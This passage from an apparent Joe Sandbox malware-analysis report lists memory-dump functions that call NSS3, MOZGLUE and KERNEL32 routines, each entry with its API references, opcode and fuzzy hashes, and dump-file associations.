Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: d3d0196e9c20352471f4dafade3a964abd74bffcb19d2583bc5e4de55252f7d7
Instruction ID: 77d5db66de25a77ede519b060430de047e1fef27140d62c98ed9b73f7d1ef4d5
Opcode Fuzzy Hash: d3d0196e9c20352471f4dafade3a964abd74bffcb19d2583bc5e4de55252f7d7
Instruction Fuzzy Hash: 08516A71A00219CFDB00CFA8CC84BAEBBB5BF45308F145529D81D9B790E732E945CB90

Function 6C584FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C4685D2,00000000,?,?), ref: 6C584FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C58500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5850C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5850D6

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: cca4fa5d4233a45fe8d1477d81ae691d913cd46f7ba224a3182b81ad76920643
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 99418EB2A01211CBDB18CF18DCD179AB7E1BF4431871D466DD84ACBB02E379E891CB81

Function 6C4AFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C4AFDFE), ref: 6C4AFFAD

Part of subcall function 6C44CA30: EnterCriticalSection.KERNEL32(?,?,?,6C4AF9C9,?,6C4AF4DA,6C4AF9C9,?,?,6C47369A), ref: 6C44CA7A
Part of subcall function 6C44CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C44CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C4AFDFE), ref: 6C4AFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C4AFDFE), ref: 6C4B001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C4AFDFE), ref: 6C4B006F

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: bf6fc5e737be33a3e0ad9f865f726101d0f297baf08bda3cec84985f5de30fd9
Instruction ID: 92fa6749e4dc5dd5a365f980b033cc20d5f0cf66a0108f12774a5d13012c6603
Opcode Fuzzy Hash: bf6fc5e737be33a3e0ad9f865f726101d0f297baf08bda3cec84985f5de30fd9
Instruction Fuzzy Hash: 7641D2B1B002059FDF08DFA6E9C5EAEB775FB45306F04002AD806A7B10DB39E951CBA5

Function 6C5DA860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DA690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C5DA662), ref: 6C5DA69E
Part of subcall function 6C5DA690: PR_NewCondVar.NSS3(?), ref: 6C5DA6B4

PR_IntervalNow.NSS3 ref: 6C5DA8C6
EnterCriticalSection.KERNEL32(?), ref: 6C5DA8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C5DA944
PR_SetPollableEvent.NSS3(?), ref: 6C5DA94F

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 6f004bd3079a4db0bb53fc3835bfb860215d9bb23ecd1d9b7f871b11371f6e75
Instruction ID: b51dfdac097a69fd055c2b28b039affd0c1c63be3968c8942a7ff5367d503bf9
Opcode Fuzzy Hash: 6f004bd3079a4db0bb53fc3835bfb860215d9bb23ecd1d9b7f871b11371f6e75
Instruction Fuzzy Hash: 8F4115B4A01B12DFC704CF29C980956BBF1FF88318726852AE95ACBB11E731F850CB95

Function 6C597DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C597E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C597EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C597EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C597ED8

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 96dbcdf09e851d8e757cb1ddff7231e55890e341934d3e79350956730f7db871
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: AD31A4B1A012118FDB04CF18CC9199EBBA2BFC835871B85AAD8595B711EB71EC45CBD1

Function 6C54DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C4D3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4EAE42), ref: 6C4D30AA
Part of subcall function 6C4D3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4D30C7
Part of subcall function 6C4D3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C4D30E5
Part of subcall function 6C4D3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C4D3116
Part of subcall function 6C4D3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C4D312B
Part of subcall function 6C4D3090: PK11_DestroyObject.NSS3(?,?), ref: 6C4D3154
Part of subcall function 6C4D3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C54DBBD), ref: 6C54DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C54DFEE

Part of subcall function 6C4E86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E8716
Part of subcall function 6C4E86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E8727
Part of subcall function 6C4E86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E873B
Part of subcall function 6C4E86D0: PR_Unlock.NSS3(?), ref: 6C4E876F
Part of subcall function 6C4E86D0: PR_SetError.NSS3(00000000,00000000), ref: 6C4E8787

Part of subcall function 6C50F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C50F854
Part of subcall function 6C50F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C50F868
Part of subcall function 6C50F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C50F882
Part of subcall function 6C50F820: free.MOZGLUE(04C483FF,?,?), ref: 6C50F889
Part of subcall function 6C50F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C50F8A4
Part of subcall function 6C50F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C50F8AB
Part of subcall function 6C50F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C50F8C9
Part of subcall function 6C50F820: free.MOZGLUE(280F10EC,?,?), ref: 6C50F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C54DBBD), ref: 6C54DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C54DBBD), ref: 6C54E007

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: ec14159c1e0a313b1f60374b6d3075c8f223dff11d085cf02fb94eb0a381ba4b
Instruction ID: f3ee1b6a52f05c1fdb45835123d1e715d1ff66c4d2f4b1b752822a4cfdd780fc
Opcode Fuzzy Hash: ec14159c1e0a313b1f60374b6d3075c8f223dff11d085cf02fb94eb0a381ba4b
Instruction Fuzzy Hash: EE31EBB1A0420167D711AA79DC85E9BB2B8AF9530DF054539E909C7B53FF21E918C2E2

Function 6C4C6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C4C6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C4C6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C4C6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C5E8FE0), ref: 6C4C6CFE

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: bcacfbf6d1c607900bf2bdb6b27fe4f6a2d2f3ea70077f65d24deecea8273438
Instruction ID: c3ff2a107b74ebbf96ecd54af13dedacaa2646bbf8d369ea59407c2014298c68
Opcode Fuzzy Hash: bcacfbf6d1c607900bf2bdb6b27fe4f6a2d2f3ea70077f65d24deecea8273438
Instruction Fuzzy Hash: 813180B5A002169FEB04CF69C891EBFBBF5EF85248B10843DD905D7750EB359905CBA1

Function 6C54D830 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000040,?,?,00000000,?,6C55ACA2,?), ref: 6C54D838

Part of subcall function 6C520D30: calloc.MOZGLUE ref: 6C520D50
Part of subcall function 6C520D30: TlsGetValue.KERNEL32 ref: 6C520D6D

SECITEM_DupArray.NSS3(00000000,?,?), ref: 6C54D8D5
SECITEM_CopyItem_Util.NSS3(00000000,00000024,?,?), ref: 6C54D8F7
SECITEM_CopyItem_Util.NSS3(00000000,-00000030,?,?,?,?,?), ref: 6C54D90F

Part of subcall function 6C4E06A0: TlsGetValue.KERNEL32 ref: 6C4E06C2
Part of subcall function 6C4E06A0: EnterCriticalSection.KERNEL32(?), ref: 6C4E06D6
Part of subcall function 6C4E06A0: PR_Unlock.NSS3 ref: 6C4E06EB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$CopyItem_Value$Alloc_ArrayCriticalEnterSectionUnlockcalloc
String ID:
API String ID: 3461301972-0
Opcode ID: 024def680c6836079a9857568564eadeeca3294f0d1f642e00e908b22e3dfd6c
Instruction ID: 22b11da130efe8d094862e9fd5b194dd96e6c68400b22524403600d6f2e41687
Opcode Fuzzy Hash: 024def680c6836079a9857568564eadeeca3294f0d1f642e00e908b22e3dfd6c
Instruction Fuzzy Hash: 0831FAB5A01B019FE360CF26DD41B62B7F8FF48759B048A2AD88AC2E41F770E514CB91

Function 6C5D4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C5D4F5D
free.MOZGLUE(?), ref: 6C5D4F74
free.MOZGLUE(?), ref: 6C5D4F82
GetLastError.KERNEL32 ref: 6C5D4F90

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 450a91a6cb15dc9336a12fb1e0d7c53e52760285a56fc0265867bd2570797d68
Instruction ID: ffcb7b34a2fb0c36f17a8c6004518aa917c7446be3ab7518ee99d48ea335ad4d
Opcode Fuzzy Hash: 450a91a6cb15dc9336a12fb1e0d7c53e52760285a56fc0265867bd2570797d68
Instruction Fuzzy Hash: 893139B5A0030A9BEB01CB6DDC81BDFB3B8EF45349F060229EC15A7780D734E9048696

Function 6C4A9980 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89F,00000000,?,?,?,?,?,6C4A996F,?,00000001,00000000), ref: 6C4A9A3A
PR_CallOnce.NSS3(6C6214E4,6C58CC70,?,?,?,?,?,6C4A996F,?,00000001,00000000), ref: 6C4A9A50
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C4A9A81
_pr_push_ipv6toipv4_layer.NSS3(00000000), ref: 6C4A9A97

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Error$CallOnce_pr_push_ipv6toipv4_layer
String ID:
API String ID: 329733494-0
Opcode ID: 6d90f11df4ff9d22a5bdc0cb0e89f011fe5d4a850e160f5bca2a7d171a24abad
Instruction ID: 4ef5871ed2eb459844ca5b4ea5b8da7de7290c463c325908894f44fa140fee02
Opcode Fuzzy Hash: 6d90f11df4ff9d22a5bdc0cb0e89f011fe5d4a850e160f5bca2a7d171a24abad
Instruction Fuzzy Hash: 7C310870A00141AFDB00EAA89C80F5977E4ABB6319F244529EC1AD7F51E737DC46C695

Function 6C51DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C51DDB1,?,00000000), ref: 6C51DDF4

Part of subcall function 6C5214C0: TlsGetValue.KERNEL32 ref: 6C5214E0
Part of subcall function 6C5214C0: EnterCriticalSection.KERNEL32 ref: 6C5214F5
Part of subcall function 6C5214C0: PR_Unlock.NSS3 ref: 6C52150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C51DDB1,?,00000000), ref: 6C51DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C51DDB1,?,00000000), ref: 6C51DE17

Part of subcall function 6C520BE0: malloc.MOZGLUE(6C518D2D,?,00000000,?), ref: 6C520BF8
Part of subcall function 6C520BE0: TlsGetValue.KERNEL32(6C518D2D,?,00000000,?), ref: 6C520C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C51DE80

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 58738b4e1594a44da77d0a98f9226be5388b0ad23f3ca603a54929362898a481
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: FA31AFB2905B429BFB01CF16CCC4652B7E4BFA5318B24862AD81887F41EB71F4A4CB80

Function 6C50FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C4E5ADC,?,00000000,00000001,?,?,00000000,?,6C4DBA55,?,?), ref: 6C50FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C50FE5F
PR_Unlock.NSS3(78831D74), ref: 6C50FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C50FED6

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 978375dc5b810300c54735a4fa06e2b85f874fa0e36133407f5b1255cf47210d
Instruction ID: 40244902f9723e7244ded9873afd7b2b999e55faf0c55a2c009670107960e736
Opcode Fuzzy Hash: 978375dc5b810300c54735a4fa06e2b85f874fa0e36133407f5b1255cf47210d
Instruction Fuzzy Hash: C1212231B00225ABDB40AF65DC44B9AB374BF04359F080224DD05A7E42E731E968CBD8

Function 6C513F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C513440: PK11_GetAllTokens.NSS3 ref: 6C513481
Part of subcall function 6C513440: PR_SetError.NSS3(00000000,00000000), ref: 6C5134A3
Part of subcall function 6C513440: TlsGetValue.KERNEL32 ref: 6C51352E
Part of subcall function 6C513440: EnterCriticalSection.KERNEL32(?), ref: 6C513542
Part of subcall function 6C513440: PR_Unlock.NSS3(?), ref: 6C51355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C4FE80C,00000000,00000000,?,?,?,?,6C508C5B,-00000001), ref: 6C513FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C4FE80C,00000000,00000000,?,?,?,?,6C508C5B,-00000001), ref: 6C513FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C4FE80C,00000000,00000000,?,?,?,?,6C508C5B,-00000001), ref: 6C513FFE
PR_SetError.NSS3 ref: 6C51401A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 9afb4ebf40e90ab2ee4facb242680a73ea5d7a02afb9bd3696f7d16a85a05771
Instruction ID: f0d480a880f66706c38846b8daf2e94cd1ec73ee9a30c32d4b5866685d7fdea7
Opcode Fuzzy Hash: 9afb4ebf40e90ab2ee4facb242680a73ea5d7a02afb9bd3696f7d16a85a05771
Instruction Fuzzy Hash: 80314170508704CFD700EF6AD98856EB7F0BF84359F15592DD8858BB10EB30E885CB91

Function 6C532880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C532896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C532932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C53294C
free.MOZGLUE(?), ref: 6C532955

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

